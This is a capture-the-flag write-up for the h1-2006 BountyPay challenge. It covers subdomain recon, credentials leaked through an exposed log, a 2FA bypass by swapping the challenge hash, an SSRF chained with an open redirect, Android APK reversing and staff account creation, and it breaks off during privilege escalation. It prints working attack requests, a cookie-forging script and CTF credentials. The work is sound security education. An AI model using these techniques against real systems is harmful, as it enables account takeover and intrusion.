h1-2006 CTF

18/06/2020

[TL;DR]

Reconnaissance

I did some recon to get a better understanding from the target scope.

Leaked credentials

A public GitHub repository mentioned a log file name which was accessible via web and was leaking some user credentials.

2FA bypass

To login as the obtained user, a 2FA system had to be bypassed.

SSRF + Open redirect

The accessed application had a SSRF vulnerability which could be chained with an open redirect to find the location of a hidden APK.

APK

A couple of Android challenges needed to be completed in order to obtain a token which could be used on a restricted service.

Accessing Staff

By using this new service and by doing some OSINT on Twitter it was possible to login in the Staff dashboard as an unprivileged user.

Privilege escalation

By exploiting a pretty complex CSRF I could force an admin to upgrade my user, then I had access to Marten credentials.

CSS exfiltration

With the obtained credentials, it was possible to access the final step that required another 2FA code which could be retrieved by using CSS exfiltration.



Reconnaissance

Everything started with HackerOne's tweet announcing the CTF.

As in every program, the first thing to do is read the policy and scope. Instead of a single domain like in the last ctf, here we had a wildcard, so I assumed I would have to deal with some recon and multiple subdomains.

I started looking for subdomains of bountypay.h1ctf.com using crt.sh.

# curl -s "https://crt.sh/?q=bountypay.h1ctf.com&output=json" | jq -r '.[].name_value' | sort -u
api.bountypay.h1ctf.com
app.bountypay.h1ctf.com
bountypay.h1ctf.com
software.bountypay.h1ctf.com
staff.bountypay.h1ctf.com
www.bountypay.h1ctf.com

I tried to get more subdomains with other tools like amass or by brute forcing but didn't get any new results, so I started with those and if I got stuck I would try again to try to discover more assets.

Once I had my list of subdomains, I used massdns to see how they answered to DNS queries.

# cat crtsh.subs | massdns -r ~/wordlists/resolvers.txt -t A -q -o S
api.bountypay.h1ctf.com. A 3.21.98.146
app.bountypay.h1ctf.com. A 3.21.98.146
bountypay.h1ctf.com. A 3.21.98.146
software.bountypay.h1ctf.com. A 3.21.98.146
staff.bountypay.h1ctf.com. A 3.21.98.146
www.bountypay.h1ctf.com. A 3.21.98.146

It seemed that every subdomain was being hosted from the same IP, an Amazon EC2 instance.

# curl ipinfo.io/3.21.98.146
{
  "ip": "3.21.98.146",
  "hostname": "ec2-3-21-98-146.us-east-2.compute.amazonaws.com",
  "city": "Columbus",
  "region": "Ohio",
  "country": "US",
  "loc": "40.1357,-83.0076",
  "org": "AS16509 Amazon.com, Inc.",
  "postal": "43236",
  "timezone": "America/New_York",
  "readme": "https://ipinfo.io/missingauth"
}

I used masscan to see what ports were open, so I could identify services running on that host.

# masscan 3.21.98.146 --rate=1000 -p0-65535

Starting masscan 1.0.6 (http://bit.ly/14GZzcT) at 2020-05-29 19:51:04 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 3.21.98.146
Discovered open port 22/tcp on 3.21.98.146
Discovered open port 443/tcp on 3.21.98.146

Ports 80 and 443 are certainly web services and port 22 should be an ssh, so I tried to connect to it using root:root (it never hurts to try).

# ssh root@3.21.98.146
root@3.21.98.146: Permission denied (publickey).

As expected it didn't work since my public key was denied, so let's jump into the web.

Leaked credentials

By visiting https://bountypay.h1ctf.com I got the following page which simply had links to login as a customer (https://app.bountypay.h1ctf.com/) and as staff (https://staff.bountypay.h1ctf.com/).

I started with the custom panel and I got a simple login.

First thing I did was running ffuf to discover other available paths.

# ffuf -c -t 50 -w ~/wordlists/common.txt -u https://app.bountypay.h1ctf.com/FUZZ -mc all -fs 15

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1-git
________________________________________________

 :: Method           : GET
 :: URL              : https://app.bountypay.h1ctf.com/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: all
 :: Filter           : Response size: 15
________________________________________________

.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2]
admin.php               [Status: 404, Size: 178, Words: 7, Lines: 8]
css                     [Status: 301, Size: 194, Words: 7, Lines: 8]

Turns out that the /.git directory, where the git info is stored, was public, so I went to /.git/config to retrieve the repository configuration.

# curl https://app.bountypay.h1ctf.com/.git/config
[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
[remote "origin"]
  url = https://github.com/bounty-pay-code/request-logger.git
  fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
  remote = origin
  merge = refs/heads/master

Between that information, there was a GitHub URL (https://github.com/bounty-pay-code/request-logger.git) from a repository which was also public.

In that repository only the following file (logger.php) had been uploaded.

<?php

$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'METHOD'    =>  $_SERVER["REQUEST_METHOD"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST
  )
);

file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );

This function seemed to be logging every request received in bp_web_trace.log, so I tried to access to that file on the current application.

# curl https://app.bountypay.h1ctf.com/bp_web_trace.log
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==

By decoding those values in base64 I got the following JSON structures which were leaking a user brian.oliver and his password V7h0inzX.

{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}

Tried the obtained credentials on the login panel and jackpot.

2FA bypass

Next step was bypassing the 2 factor authentication since I didn't have access to Brian's mobile phone.

The first thing that came to my mind was brute forcing, but after doing some calculations I thought there had to be simpler solution.

26 + 26 + 10 = 62
62^9 = 1.3537087e+16 combinations

The request being sent looked like this, being kk the code I was providing.

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

username=brian.oliver&password=V7h0inzX&challenge=902c8b655960b85860c99b2ae72f5d3e&challenge_answer=kk

In addition to my challenge_answer there was a static parameter challenge that, by its name, seemed to be the "solution" to my code.

That challenge string (902c8b655960b85860c99b2ae72f5d3e) looked like a MD5 hash and as a challenge_answer it would probably expected the original value of it. I went to a couple of MD5 decrypt websites, but unfortunately it wasn't in any database.

Then, I realized that I was able to modify that challenge hash, so I could simply replace it by a hash which I knew the original value of.

# echo -n hola | md5sum
4d186321c1a7f0f354b297e8914ab240  - 

And as expected, there wasn't any backend checks to verify the introduced challenge was the one originally provided. Therefore, with a request like the following one it was possible to bypass the 2FA.

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

username=brian.oliver&password=V7h0inzX&challenge=4d186321c1a7f0f354b297e8914ab240&challenge_answer=hola

SSRF + Open redirect

Once I bypassed the 2FA I faced the following dashboard.

Here, there was only one action available which retrieved user transactions for the selected month/year with a GET request to /statements?month=01&year=2020.

I tried brute forcing all available options using ffuf but didn't get any results for any combination of month/year.

# ffuf -c -w months.txt:MONTH -w years.txt:YEAR -u "https://app.bountypay.h1ctf.com/statements?month=MONTH&year=YEAR" -H "Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9" -mc all -fs 177

Taking a look at the query response, I saw something interesting in the body.

{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020",
  "data": "{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"
}

It looked like the app was internally making a request to the url value and returning the response on data. Therefore, if I was able to modify that url I would potentially have a Server-Side Request Forgery (SSRF) vulnerability, being able to communicate with assets I shouldn't be allowed to.

Taking a look at the session cookie (token) which I first thought was a complex JWT, was just a simple JSON object base64 encoded.

token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
⬇⬇⬇
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

I tried changing the cookie account_id value from F8gHiqSdpK to an arbitrary value ({"account_id":"hipotermia","hash":"de235bffd23df6995ad4e0930baac1a2"}), observed I still could call the /statements endpoint and I received a different response with my account_id reflected in the url path and an error message in data.

{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/hipotermia/statements?month=01&year=2020",
  "data": "[\"Invalid Account ID\"]"
}

This meant I could force the application to do a request to any URL in https://api.bountypay.h1ctf.com/api/accounts/*, so I moved to that domain to see what I could find there.

On this page, there was nothing else but a link to /redirect?url=https://www.google.com/search?q=REST+API, a potential open redirect, the perfect combination with the above SSRF.

Unfortunately, I found there was some kind of whitelist that only allowed redirections to known sites.

# curl https://api.bountypay.h1ctf.com/redirect?url=https://malicious.com
URL NOT FOUND IN WHITELIST

I started playing with different urls to see if I could bypass the restriction but it seemed to have a robust whitelist.

Since https://www.google.com/search?q= was whitelisted and I knew Google has some known open redirects I tried with those, but none of them worked.

Meanwhile, I took a look at the remaining subdomains I found during my recon and saw the following response at software.bountypay.h1ctf.com.

# curl https://software.bountypay.h1ctf.com
<html>
<head><title>401 Unauthorized</title></head>
<body>
<center><h1>401 Unauthorized</h1></center>
<hr><center>You do not have permission to access this server from your IP Address</center>
</body>
</html>

I wasn't allowed to access this resource from my IP address (even by changing the X-Forwarded-For header), but maybe I could from the SSRF + open redirect.

First step was successful, the URL was whitelisted in the open redirect.

# curl -X GET -I https://api.bountypay.h1ctf.com/redirect?url=https://software.bountypay.h1ctf.com/
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 29 May 2020 20:03:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: https://software.bountypay.h1ctf.com/

Now, going back to the SSRF, I had to change my account_id so the internal URL resulted in a request to the previous open redirect.

https://api.bountypay.h1ctf.com/api/accounts/[[ACCOUNT_ID]]/statements?month=01&year=2020
⬇⬇⬇
ACCOUNT_ID: ../../redirect?url=https://software.bountypay.h1ctf.com/#
⬇⬇⬇
https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/#/statements?month=01&year=2020

I sent the request to /statements?month=01&year=2020 with the above payload as account_id in the base64 encoded token cookie and voilĂ , a login page in data.

{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/#/statements?month=01&year=2020",
  "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage</title>\n    <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage</h1>\n            <form method=\"post\" action=\"/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login</div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:</label></div>\n                        <div><input name=\"username\" class=\"form-control\"></div>\n                        <div style=\"margin-top:7px\"><label>Password:</label></div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"></div>\n                    </div>\n                </div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            </form>\n        </div>\n    </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>"
}

At that point I was able to access software.bountypay.h1ctf.com, so I had to find if there was something interesting there other than a simple login page. Therefore, I created the following python script to generate a cookie for every path in my common.txt wordlist.

import base64

with open('~/wordlists/common.txt') as f:
  dirs = f.read().split('\n')

cookies = []
for dir in dirs:
  cookie = '{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/'+ dir +'#","hash":"de235bffd23df6995ad4e0930baac1a2"}'
  b64cookie = base64.b64encode(cookie)
  cookies.append(b64cookie)

with open('cookies.txt', 'w') as f:
  f.write('\n'.join(cookies))

Then I could simply brute force using ffuf with the generated wordlist to search for web content.

# ffuf -c -t 50 -w cookies.txt -H "Cookie: token=FUZZ" -u "https://app.bountypay.h1ctf.com/statements?month=01&year=2020" -mc all -fw 5,6,7

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1-git
________________________________________________

 :: Method           : GET
 :: URL              : https://app.bountypay.h1ctf.com/statements?month=01&year=2020
 :: Header           : Cookie: token=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: all
 :: Filter           : Response words: 5,6,7
________________________________________________

eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 [Status: 200, Size: 489, Words: 63, Lines: 1]
eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0= [Status: 200, Size: 1605, Words: 324, Lines: 1]

I only found two results, one for /uploads and another for /.

# echo eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 | base64 -d | jq
{
  "account_id": "../../redirect?url=https://software.bountypay.h1ctf.com/uploads#",
  "hash": "de235bffd23df6995ad4e0930baac1a2"
}
# echo eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0= | base64 -d | jq
{
  "account_id": "../../redirect?url=https://software.bountypay.h1ctf.com/#",
  "hash": "de235bffd23df6995ad4e0930baac1a2"
}

I checked what there was in /uploads and a directory listing with a single apk file was returned.

# curl -s "https://app.bountypay.h1ctf.com/statements?month=01&year=2020" -H "Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9" | jq
{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/uploads#/statements?month=01&year=2020",
  "data": "<html>\n<head><title>Index of /uploads/</title></head>\n<body bgcolor=\"white\">\n<h1>Index of /uploads/</h1><hr><pre><a href=\"../\">../</a>\n<a href=\"/uploads/BountyPay.apk\">BountyPay.apk</a>                                        20-Apr-2020 11:26              4043701\n</pre><hr></body>\n</html>\n"
}

Unfortunately, during the first CTF hours this service was not working correctly. It wasn't possible to download that apk and I spent almost all night trying to figure out what was happening, so I finally went to sleep and woke up to this.

Then, I could simply access to the URL and download the apk.

# wget https://software.bountypay.h1ctf.com/uploads/BountyPay.apk

APK

First thing I do when I face an Android application is use apktool to decode the application resources and dex2jar to get the .jar file.

# apktool d BountyPay.apk 
I: Using Apktool 2.4.1-683fef-SNAPSHOT on BountyPay.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/hipotermia/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
# d2j-dex2jar.sh BountyPay.apk 
dex2jar BountyPay.apk -> ./BountyPay-dex2jar.jar

Then, by using jd-gui I can inspect application Java code.

Here, filenames spoke by itself and it seemed there were three different stages to complete this challenge.

Next step was to install the apk on my mobile phone to see how it looked.

# adb install ~/bb/programs/h1-2006-ctf/BountyPay.apk 
Performing Push Install
/home/hipotermia/bb/programs/h1-2006-ctf/BountyPay.apk: 1 file pushed. 60.4 MB/s (4043701 bytes in 0.064s)
  pkg: /data/local/tmp/BountyPay.apk
Success

Home screen was a simple form where a username and an optional twitter handler were requested.

I used hipotermia / hipotermia and clicked submit to begin with the first stage.

Part one

To start, I was presented with a simple white screen.

Nothing to do there, so I checked the code of bounty.pay.PartOneActivity.class and saw this interesting fragment.

if (getIntent() != null && getIntent().getData() != null) {
  String str = getIntent().getData().getQueryParameter("start");
  if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) {
    str = sharedPreferences.getString("USERNAME", "");
    SharedPreferences.Editor editor = sharedPreferences.edit();
    String str1 = sharedPreferences.getString("TWITTERHANDLE", "");
    editor.putString("PARTONE", "COMPLETE").apply();
    logFlagFound(str, str1);
    startActivity(new Intent((Context)this, PartTwoActivity.class));
  } 
} 

I assumed the goal of the challenge was reaching the editor.putString("PARTONE", "COMPLETE").apply(); instruction and, to execute that line, the intent needed a query parameter start with a value equal to PartTwoActivity.

To launch the intent with a query parameter manually I had to build a URL which executed this activity, so I checked the AndroidManifest.xml and saw it was defined with a custom host and a scheme.

<activity android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity" android:theme="@style/AppTheme.NoActionBar">
    <intent-filter android:label="">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="part" android:scheme="one"/>
    </intent-filter>
</activity>

I could launch the activity with the desired parameter by using a URL like one://part?start=PartTwoActivity, so I created the following HTML code.

<html>
  <body>
  <a href="one://part?start=PartTwoActivity">hola</a>
  </body>
</html>

Then, by clicking the above link, the activity was launched with that query parameter and I was redirected to part two.

Part two

Same behavior as the first part, a simple blank page.

I did the same thing, went to bounty.pay.PartTwoActivity.class and there was a similar piece of code where some query parameters were required (two=light and switch=on) in order to show some hidden elements.

if (getIntent() != null && getIntent().getData() != null) {
  Uri uri = getIntent().getData();
  String str1 = uri.getQueryParameter("two");
  String str2 = uri.getQueryParameter("switch");
  if (str1 != null && str1.equals("light") && str2 != null && str2.equals("on")) {
    editText.setVisibility(0);
    button.setVisibility(0);
    textView.setVisibility(0);
  } 
} 

Also checked the AndroidManifest.xml file and observed that this activity was being defined with a scheme two instead.

<activity android:label="@string/title_activity_part_two" android:name="bounty.pay.PartTwoActivity" android:theme="@style/AppTheme.NoActionBar">
    <intent-filter android:label="">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="part" android:scheme="two"/>
    </intent-filter>
</activity>

I modified my HTML code so I could execute this activity with the desired parameters.

<html>
  <body>
  <a href="one://part?start=PartTwoActivity">hola</a>
  <br>
  <a href="two://part?two=light&switch=on">hola2</a>
  </body>
</html>

And by accessing that link, the content of the activity changed, showing those hidden elements.

I reviewed the code to see what was the application expecting in that input and saw it was comparing the introduced text with X- + the value of the element header from a Firebase database.

DatabaseReference database = FirebaseDatabase.getInstance().getReference();
DatabaseReference childRef = this.database.child("header");
[...]
public void submitInfo(View paramView) {
  final String post = ((EditText)findViewById(2131230834)).getText().toString();
  this.childRef.addListenerForSingleValueEvent(new ValueEventListener() {
        public void onCancelled(DatabaseError param1DatabaseError) { Log.e("PartTwoActivity", "onCancelled", (Throwable)param1DatabaseError.toException()); }
        
        public void onDataChange(DataSnapshot param1DataSnapshot) {
          String str1 = (String)param1DataSnapshot.getValue();
          SharedPreferences sharedPreferences = PartTwoActivity.this.getSharedPreferences("user_created", 0);
          SharedPreferences.Editor editor = sharedPreferences.edit();
          String str2 = post;
          StringBuilder stringBuilder = new StringBuilder();
          stringBuilder.append("X-");
          stringBuilder.append(str1);
          if (str2.equals(stringBuilder.toString())) {
            str2 = sharedPreferences.getString("USERNAME", "");
            String str = sharedPreferences.getString("TWITTERHANDLE", "");
            PartTwoActivity.this.logFlagFound(str2, str);
            editor.putString("PARTTWO", "COMPLETE").apply();
            PartTwoActivity.this.correctHeader();
          } else {
            Toast.makeText((Context)PartTwoActivity.this, "Try again! :D", 0).show();
          } 
        }
      });
}

I looked through the apk resources and found the definition of that Firebase database on res/values/strings.xml.

<string name="firebase_database_url">https://bountypay-90f64.firebaseio.com</string>

If the Firebase database is not configured properly, its data can be accessed directly without requiring any authentication, so I tried to fetch the header element as specified on the code and received its value (Token).

# curl https://bountypay-90f64.firebaseio.com/header.json
"Token"

Then, since stringBuilder.append("X-"); was being used on the code, I had to append a X- to the obtained value. So by using X-Token on the input field I could continue to the last stage.

Part three

As in the previous parts, here there was also a blank page to start.

I did the same and went to bounty.pay.PartTrheeActivity.class to review the code and I found there were some errors in this activity.

When retrieving the query parameters like in the other two stages, variables str1 and str2 were being decoded in base64, but those weren't defined before.

[...]
    if (getIntent() != null && getIntent().getData() != null) {
      Uri uri = getIntent().getData();
      final String firstParam = uri.getQueryParameter("three");
      final String secondParam = uri.getQueryParameter("switch");
      final String thirdParam = uri.getQueryParameter("header");
      byte[] arrayOfByte1 = Base64.decode(str2, 0);
      byte[] arrayOfByte2 = Base64.decode(str1, 0);
      final String decodedFirstParam = new String(arrayOfByte1, StandardCharsets.UTF_8);
      final String decodedSecondParam = new String(arrayOfByte2, StandardCharsets.UTF_8);
      this.childRefThree.addListenerForSingleValueEvent(new ValueEventListener() {
[...]

This resulted in an application error when trying to launch the activity with any query parameters because this portion of the code was reached.

I was about to edit the code and rebuild the application to make it work, but I decided to take a better look at the rest of the code to see if this was really necessary or I could simply imagine what would happen.

I saw the following function which seemed to be fetching a host and a token from a shared preference and then performing a POST request to it.

public String performPostCall(String paramString) {
    SharedPreferences sharedPreferences = getSharedPreferences("user_created", 0);
    String str2 = sharedPreferences.getString("HOST", "");
    String str1 = sharedPreferences.getString("TOKEN", "");
    Log.d("HOST IS: ", str2);
    Log.d("TOKEN IS: ", str1);
    try {
      URL uRL = new URL();
      this(str2);
      HttpURLConnection httpURLConnection = (HttpURLConnection)uRL.openConnection();
[...]

I opened a shell on the mobile phone and checked at that shared preference being referenced on the code (/data/data/bounty.pay/shared_prefs/user_created.xml).

root@vbox86p:/data/data/bounty.pay/shared_prefs # cat user_created.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="TWITTERHANDLE">hipotermia</string>
    <string name="USERNAME">hipotermia</string>
    <string name="PARTONE">COMPLETE</string>
    <string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string>
    <string name="PARTTWO">COMPLETE</string>
    <string name="HOST">http://api.bountypay.h1ctf.com</string>
</map>

The host value was api.bountypay.h1ctf.com (the site I could access via the SSRF) and the token value was some kind of hash (8e9998ee3137ca9ade8f372739f062c1).

Didn't found anything else interesting here and went to see bounty.pay.CongratsActivity.class to check if something was mentioned on the congratulations page.

protected void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(2131427356);
    setSupportActionBar((Toolbar)findViewById(2131231012));
    ((FloatingActionButton)findViewById(2131230845)).setOnClickListener(new View.OnClickListener() {
          public void onClick(View param1View) {
            if (CongratsActivity.this.click == 0)
              Snackbar.make(param1View, "Information leaked here will help with other challenges.", 0).setAction("Action", null).show(); 
          }
        });
  }

Just a congratulations message shown on the screen, so I decided it was time to move forward and go back to the web part with the information obtained here.

Accessing Staff

From the last part, I had:

So I went back to find an endpoint on this host where I could test this new token.

Without providing the token:

# curl "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020"
["Missing or invalid Token"]

Providing the token:

# curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020"
{"description":"Transactions for 2020-01","transactions":[]}

Thanks to this information, at this point I was able to communicate with api.bountypay.h1ctf.com without the help of the SSRF, so I started looking for content using ffuf.

# ffuf -c -t 50 -w ~/wordlists/common.txt -u https://api.bountypay.h1ctf.com/api/FUZZ -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -mc all -fs 22,178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1-git
________________________________________________

 :: Method           : GET
 :: URL              : https://api.bountypay.h1ctf.com/api/FUZZ
 :: Header           : X-Token: 8e9998ee3137ca9ade8f372739f062c1
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: all
 :: Filter           : Response size: 22,178
________________________________________________

staff                   [Status: 200, Size: 104, Words: 3, Lines: 1]

I found that by accessing to /staff I was returned a list of employees with their respective ids.

# curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

I started trying those ids on every single endpoint I found till that moment without success, when suddenly I decided to do a POST request to this endpoint and observed the response changed.

# curl -X POST https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
["Missing Parameter"]

I brute forced parameter names and tried different ways to supply that parameter (query param, www-form data, JSON data) until I found that by using staff_id via www-form data I got a different error.

# curl -X POST -d "staff_id=kkk" https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
["Invalid Staff ID"]

I tried by providing the ids I recently extracted from the GET request without success, those users already had an account.

# curl -X POST -d "staff_id=STF:84DJKEIP38" https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
["Staff Member already has an account"]

Meanwhile on Twitter, HackerOne retweeted the following tweet.

I entered that account and found it only had a couple of tweets, the last one mentioning a new employee: Sandra.

Checked who BountyPay HQ was following and found Sandra's account.

She only had one tweet celebrating her first day at BountyPayHQ.

By zooming in the image her staff id could be seen under the bar code.

I tried the POST request with her staff id and bingo!

# curl -X POST -d "staff_id=STF:8FJ3KFISL3" https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

Those were certainly credentials to log in into the last subdomain I was missing: staff.bountypay.h1.ctf.com.

Logged in as Sandra and I was in.

Privilege escalation

I started poking around the application to see what actions I was allowed to do.

Under the Profile tab, I had the ability to modify my profile name and avatar.

On the other hand, in the support tickets tab there was only one welcome message.

And nothing else interesting by viewing its details, since I wasn't allowed to reply.

The URL for viewing this ticket was /?template=ticket&ticket_id=3582, so I tried to brute force ticket_id numbers with ffuf, unfortunately I only seemed to have access to this one.

